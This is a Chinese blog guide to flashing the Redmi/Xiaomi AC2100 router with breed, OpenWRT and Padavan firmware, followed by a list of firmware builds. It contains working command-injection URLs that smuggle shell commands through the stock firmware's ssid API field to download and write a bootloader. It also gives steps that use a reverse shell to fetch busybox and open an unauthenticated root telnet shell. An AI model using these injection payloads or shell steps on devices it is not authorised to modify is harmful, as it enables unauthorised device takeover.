從零開始

红米 Redmi AC2100 K2P 替代品 百元路由器 breed OpenWRT 固件收集

红米 Redmi AC2100 路由器,最近在恩山上看到比较多,能刷 breed,上 OpenWRT,据说 5G 信号强得像打了鸡血……吊打 K2P……全新,更便宜

「红米 Redmi AC2100 K2P 替代品 百元路由器 breed OpenWRT 固件收集:https://ostarted.com/80」

红米 Redmi AC2100 百元路由器 硬件配置 拆机

温馨提示:因为用的是 NAND Flash 闪存,有东芝和 ESMT 两个品牌,存在闪存坏块风险。

红米 Redmi AC2100 路由器配置,CPU:MT7621AT,双核 880MHz;内存:M15T1G1664A,DDR3 128MB;闪存:F59L1G81MB,128MB NAND;2.4G 无线芯片:MT7603EN,2x2mimo,最高速率 300Mbps,外置两颗功放芯片;5G 无线芯片:MT7615N,4x4mimo 最高速率 1733Mbps,没有独立功放芯片。拆机参考:acwifi截图

「红米 Redmi AC2100 K2P 替代品 百元路由器 breed OpenWRT 固件收集:https://ostarted.com/80」

k2p 配置,CPU:MT7621AT,双核 880MHz;内存:128MB;闪存:16MB;无线芯片只有一颗:MT7615DN,支持 4x4mimo 双频,可以提供 2x2mimo 的 2.4G 和 2x2mimo 的 5G。

红米/小米 AC2100 刷入 breed 方法

温馨提示:刷机有风险。刷机有风险。刷机有风险。

「红米 Redmi AC2100 K2P 替代品 百元路由器 breed OpenWRT 固件收集:https://ostarted.com/80」

新方法更简单:[AC2100(RM2100)] 小米 红米【AC2100】一键刷 BREED【30 秒刷完】小白专用 无需工具 TELNET + 检查坏块

下载降级固件降级

降级固件官方下载地址:红米 AC2100 · * · * · 小米 AC2100 · * · * ·「备用下载

下载完成后进入后台 192.168.31.1 -「常用设置」-「系统状态」-「手动升级」,加载固件,可以保留数据-「开始升级」等待完成即可。

「红米 Redmi AC2100 K2P 替代品 百元路由器 breed OpenWRT 固件收集:https://ostarted.com/80」

红米/小米 AC2100 真·30 秒刷 BREED!

温馨提示:首先需要确保路由器有网络,可以正常上网,有网络才能自动下载 BREED。

进入路由器后台 192.168.31.1,复制 stok,使用复制的 stok 替换掉下面代码中的 CCCCCCCCCCC,然后复制修改好 stok 的代码,粘贴到浏览器,回车。(浏览器会显示 : {"code":0} ). 如果显示其他代码,可能是你还没降级固件或者 stok 过期,也可以恢复出厂从试。

检查 NAND 坏块代码

路由器开机超过一小时建议先重启,运行代码后,路由器 2.4G WiFi 名称会改名成:"ESMT","Toshiba","Toshiba 90 768"。 90 和 768 是坏块。 如果 ESMT 或者 Toshiba 后面没数字,那恭喜你,没有坏块!!!

http://192.168.31.1/cgi-bin/luci/;stok=CCCCCCCCCCC/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0A%5B%20-z%20%22%24(dmesg%20%7C%20grep%20ESMT)%22%20%5D%20%26%26%20B%3D%22Toshiba%22%20%7C%7C%20B%3D%22ESMT%22%0Auci%20set%20wireless.%24(uci%20show%20wireless%20%7C%20awk%20-F%20'.'%20'%2Fwl1%2F%20%7Bprint%20%242%7D').ssid%3D%22%24B%20%24(dmesg%20%7C%20awk%20'%2FBad%2F%20%7Bprint%20%245%7D')%22%0A%2Fetc%2Finit.d%2Fnetwork%20restart%0A

刷 BREED 代码

可以先检查坏块,不检查也没关系。Bootloader 那里肯定不会有坏块,不然官方 Uboot 也会出问题。

http://192.168.31.1/cgi-bin/luci/;stok=CCCCCCCCCCC/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0Acd%20%2Ftmp%0Acurl%20-o%20B%20-O%20https%3A%2F%2Fbreed.hackpascal.net%2Fr1286%2520%255b2020-10-09%255d%2Fbreed-mt7621-xiaomi-r3g.bin%20-k%20-g%0A%5B%20-z%20%22%24(sha256sum%20B%20%7C%20grep%20242d42eb5f5aaa67ddc9c1baf1acdf58d289e3f792adfdd77b589b9dc71eff85)%22%20%5D%20%7C%7C%20mtd%20-r%20write%20B%20Bootloader%0A

如果路由器在 60 秒内重启则代表刷 BREED 成功「指示灯会从蓝变橘,最终变蓝进入系统」。成功后拔掉电源,按住 Reset 同时接上电源等待 10 秒即可进入 breed,地址:192.168.1.1

如果没重启,可能是 stok 过期了,进入后台复制新的 stok 重新操作即可;也有可能下载的 BREED 损坏,重新运行代码尝试;也有可能没网络或者连接不上 breed.hackpascal.net breed 服务器……

教程原文:长截图

红米/小米 AC2100 刷入 breed 方法(旧)

红米/小米 AC2100 刷入 breed 方法(旧)备份 ▼展开

教程整理自恩山

breed:论坛上大神用 r3g 的 breed 测试可用,后续不知道会不会有专版。

下载所需要全部文件:AC2100.rar,注意不要把 AC2100 文件夹放在中文路径里,否则可能会出现很多奇怪问题。

Xshell:https://www.netsarang.com/zh/free-for-home-school

Putty:https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

WinSCP:https://winscp.net/eng/downloads.php

备用下载:Xshell + Putty + WinSCP

开启路由器 telnet

建议使用 Win7 或者 Win10。

1、系统启用 telnet 客户端,方法:开始菜单-设置-程序-程序和功能-启用和关闭 Windows 功能,勾选 telnet client(或 telnet 客户端)

2、把所有不相关网络接口都禁用掉,修改连接路由器的网口地址为:192.168.31.177,子网掩码:255.255.255.0,默认网关:192.168.31.1

3、关闭所有杀毒软件,关闭防火墙,解压好 AC2100(注意不要把 AC2100 文件夹放在中文路径里,否则可能会出现很多奇怪问题),打开 AC2100 文件夹,先安装文件夹里的 WinPcap_4_1_3.exe 或者 npcap-0.9991.exe

4、进入路由器,设置 pppoe 账号密码,账号:123 密码:123 路由器按照如下连接网线:

5、复制好「开启 telnet 命令.txt」文件里面的命令,也就是下面的代码:

cd /tmp&&wget http://192.168.31.177:8081/busybox&&chmod a+x ./busybox&&./busybox telnetd -l /bin/sh

6、执行「一键开启 telnet.bat」,按提示操作,直到反弹 shell 窗口显示收到数据,然后把前面复制「开启 telnet 命令.txt」文件里面的命令粘贴到反弹 shell 窗口(右键为粘贴,回车运行即可。

cd /tmp&&wget http://192.168.31.177:8081/busybox&&chmod a+x ./busybox&&./busybox telnetd -l /bin/sh

如无意外,至此,路由器 telnet 功能成功开启。

注意:路由 telnet 开启成功后记得把 WAN-LAN 之间的网线拔掉,否则会造成网络风暴。

刷入 r3g breed

建议原厂固件刷入,这样还可以备份一下原厂固件编程器固件。

原厂固件写 breed

telnet 连接路由器,建议 Putty 或者 Xshell 之类工具,当然直接使用 cmd 也是可以的。

telnet 192.168.31.1
cd /tmp

查看路由当前分区命令:

cat /proc/mtd

备份路由原厂分区,先在电脑以管理员权限运行 AC2100 文件夹中 ftpdmin.exe,然后再 telnet 命令行备份,比如:

./busybox nanddump -f mtd1.bak /dev/mtd1  ##备份分区 1
./busybox ftpput 192.168.31.177 mtd1.bak ./mtd1.bak  ##传输备份文件到电脑

备存文件存储到 AC2100 文件所在硬盘根目录。备份完成,就可以刷写 breed:

注意:检查一下「Task_文件服务器」进程是否还在运行,没有运行的话执行一下 AC2100 文件夹中的 httpserver.bat

执行如下命令写入 breed:

wget http://192.168.31.177:8081/breed-mt7621-xiaomi-r3g.bin&&nvram set uart_en=1&&nvram set bootdelay=5&&nvram set flag_try_sys1_failed=1&&nvram commit
mtd -r write breed-mt7621-xiaomi-r3g.bin Bootloader
从 padavan 写 breed

用 WinSCP 将 breed-mt7621-xiaomi-r3g.bin 传入 padavan 固件路由器 /tmp 目录下

Xshell、Putty 或 telnet 命令行登录路由器,执行:

cd /tmp

备份:

cat /proc/mtd
cat /dev/mtdblock0 > /tmp/mtd0.bak

用 WinSCP 将 /tmp/mtd0.bak 文件传回电脑。

刷写 breed:

mtd_write -r write breed-mt7621-xiaomi-r3g.bin Bootloader

将电脑改为自动获取 ip,等待路由器重启(电脑获取到 ip 或者路由只有一个蓝灯亮,breed 引导官方固件成功)。

建议等待 5 分钟后拔电,用牙签按住 reset 键再插电,等蓝灯闪烁,松开 reset 键,浏览器访问 192.168.1.1 即可进入 breedweb 界面。

温馨提示:首次进入 breed 记得先备份下编程器固件和 eeprom。

hackpascal 大 breed 原贴:https://www.right.com.cn/forum/thread-161906-1-1.html

由于刷入的是 r3g breed,很多刷固件的问题与 r3g 共通,参考:[R3G] 小米路由器 R3G 用 Breed 安装原生 OpenWrt 详解

目前已知红米路由闪存有东芝和 ESMT 两种,刷入 breed 均正常。

刷回官方 boot 方法

温馨提示:刷机有风险。刷机有风险。刷机有风险。

据网友验证恢复官方 boot 的操作经验证可行,如果你不想用第三方固件,要刷回官方固件,稳妥的操作顺序是先恢复官方 boot 引导文件,再用官方救砖工具一键刷回。

注意:暂时不要通过 breed"固件更新"功能直接刷回官方 boot,目前存在不确定性。

从 padavan 固件恢复官方 boot

红米 AC2100 将 AC2100 文件夹中 bootloader-redmi-ac2100.bin 通过 WinSCP 上传到路由 /tmp 目录下。

然后用 Xshell、Putty 或 telnet 命令行连接路由器,执行命令:

mtd_write -r write /tmp/bootloader-redmi-ac2100.bin Bootloader

小米 AC2100 则把 bootloader-xiaomi-ac2100.bin 上传并写入。

路由重启后用官方救砖工具即可刷回原厂。具体步骤和资源请参考: 小米路由官方救砖工具使用说明小米路由官方资源下载首页

从 OpenWRT 固件恢复官方 boot

由于部分 OpenWRT 固件 boot 分区有锁,建议先从 breed 刷入老毛子固件再按上面「从 padavan 固件恢复官方 boot 恢复」方法恢复官方 boot。

当前有漏洞原厂固件:备用下载

检查闪存坏块方法

第一步,翻路由的系统日志或内核日志,一般坏块信息在路由刚启动时的日志附近。

第二步,telnet(或使用 Xshell、Putty)登录路由,依次执行命令:

dmesg | grep NAND
dmesg | grep '[B|b]ad.*block'
dmesg | grep eraseblock

会有四种情况:

  1. 执行指令没有返回任何信息,翻日志也没找到任何闪存相关信息,重启下路由再找一次。
  2. 执行后返回信息中有 ESMT 字样,翻日志也没有显示坏块信息的是 ESMT 闪存,没有检测到坏块。
  3. 较为正常东芝闪存返回信息:坏块 768,但刷固件一切正常。
  4. 是东芝闪存而且有问题的路由返回信息如图,坏块 90+768,根据调查 “90” 这个数字还有其他值,推测跟东芝闪存体质有关。

红米/小米 AC2100 使用 breed 刷入 OpenWRT/潘多拉固件方法

方法:编辑环境变量,刷入临时固件,升级到实际使用 OpenWRT/潘多拉固件。

教程作者:pnq

编缉环境变量

进入 breed 环境变量编缉,新增字段 xiaomi.r3g.bootfw,值设置为 2,然后保存。

刷入临时固件

下载临时固件:openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-initramfs-kernel(旧版)

2020-08-29 更新:小米和红米 AC2100 临时过渡底包固件

路由器 breed 刷入并重启:

重启后进入这个临时 OpenWRT,后台地址:http://192.168.1.1,用户名:root,没有密码。

升级到真正想用的 OpenWRT

然后进入刷机/升级页面:http://192.168.1.1/cgi-bin/luci/admin/system/flash ,点击 Flash image... 上传想刷的固件,点击 Continue,等几分钟让路由器自己重启即可进入新固件。

温馨提示:刷机有风险,后果自负。

2020-10-11:论坛上看到另一种刷机方法,备份过来,有需要不妨试试。所需资料点此下载:a76yyyy-op-ac2100-20201011

红米 Redmi AC2100 固件收集

目前主要就两大类第三方固件:Padavan 和 OpenWRT。

chongshengB Padavan 固件

项目地址:Github

默认登陆 IP:192.168.2.1,默认用户名/密码:admin/admin,默认 wifi 密码:1234567890

备用下载:2020.5.7:RM2100_3.4.3.9-099

hiboy 老毛子 Padavan 固件

帖子:https://www.right.com.cn/forum/thread-161324-1-1.html

简单使用说明+默认配置:

旧固件网关:192.168.1.1
新固件网关:192.168.123.1
管理页面:http://my.router/
管理账号:admin/admin
wifi:1234567890
刷机不恢复默认值
按键 10 秒原厂默认值
使用 transmission、aria 前,需要手动在 u 盘上建一个 transmission 目录或 aria 目录。(文件名必须小写字母)
使用 Optware、Entware 前,需要手动在 u 盘上建一个 opt 目录。(文件名必须小写字母)

备用下载:HB-RM2100_3.4.3.9-099(2020-05-03)

2020-10-03:HB-RM2100_3.4.3.9-099

2021-07-25:RM2100_3.4.3.9-099

2021-10-25:hiboy-RM2100_3.4.3.9-099(内含一键自动更新固件脚本)

hfy166 OpenWrt 精简稳定版 AP 版 多功能版

帖子:【精简稳定版 OpenWrt】红米&小米 AC2100|帕斯沃|多拨|SmartDNS|IPV6【多功能版 OpenWrt】红米&小米 AC2100|IPV6|酸奶|SmartDNS|多拨|猫咪

固件备用下载地址:

Heroes233 - [AC2100(RM2100)] Lean 小米/红米 AC2100-OpenWRT/Padavan 固件-160mhz

帖子:https://www.right.com.cn/forum/thread-4048412-1-1.html

功能齐全,5G 解锁 160MHz,超低 CPU 内存占用,稳定运行,可长期使用。支持:多拨,宽带叠加,科学上网加速,广告屏蔽大师,AdGuardhome,解锁网易云,内网穿透 frp/nps,kms 服务器,访客网络,定时开关 WiFi 等。

默认地址 10.0.0.1 或 192.168.1.1,账户 root 密码 password

固件下载(压缩包含使用说明):

hanwckf-redmi-ac2100-Padavan

Kenvix [AC2100(RM2100)] OpenWRT 轻量|锐捷|闭源驱动|组网|NFS|多拨

帖子:https://www.right.com.cn/forum/thread-5146135-1-1.html

地址:192.168.1.1;密码:password

固件特色:轻量,低内存占用。主路由/AP 均适用、集成常用 Wire 猪 uard, L2TP/IPSec 等跨区组网协议。闭源驱动,开启 SFE 后,LibreSpeed 5G 测速可达 650Mbps(手机为红米 K20Pro);支持 NFS 客户端,不支持 Samba,AC2100 跑 samba 非常吃力。不支持 802.11kvr,闭源驱动当前还不支持此功能。用开源驱动则不支持 HWNAT,导致无线速度只有 ~300Mbps。

固件下载(压缩包含使用说明):

红米 AC2100 4.4 内核 Padavan 多拨+ qos + kvr 漫游+科学

来源:237176253

把 chongshengb 的插件整合到了 hanwckf 的新 4.4 内核老毛子,补全了漫游的 kvr 支持。同时把之前 chongshengb 插件的:添加节点后列表显示重复,部分 vmess 协议无法使用,绕过模式 dns 解析异常,编辑节点后实际未生效,UDP 异常等一堆问题修了。

默认 ip 192.168.2.1,用户名密码均为 admin

2022-02-12:RM2100-2121

2022-02-18:RM2100-218-kvr

其它 RM2100 固件

2021-12-25:2021-06-27-openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade据称可稳定使用至传家宝)

温馨提示:因为用的是 NAND Flash 闪存,有东芝和 ESMT 两个品牌,存在闪存坏块风险。

参考资料

文档备份:一些教程文档备份-20210725

[AC2100(RM2100)] 红米/小米 AC2100 刷入 r3g breed 详细教程(附:恢复官方 boot 教程)

官方原厂 bootloader 备份

一键脚本

https://www.right.com.cn/forum/thread-4017726-1-1.html

小米官方救砖工具:官方地址-MIWIFIRepairTool.x86.zip · 备用下载

退出移动版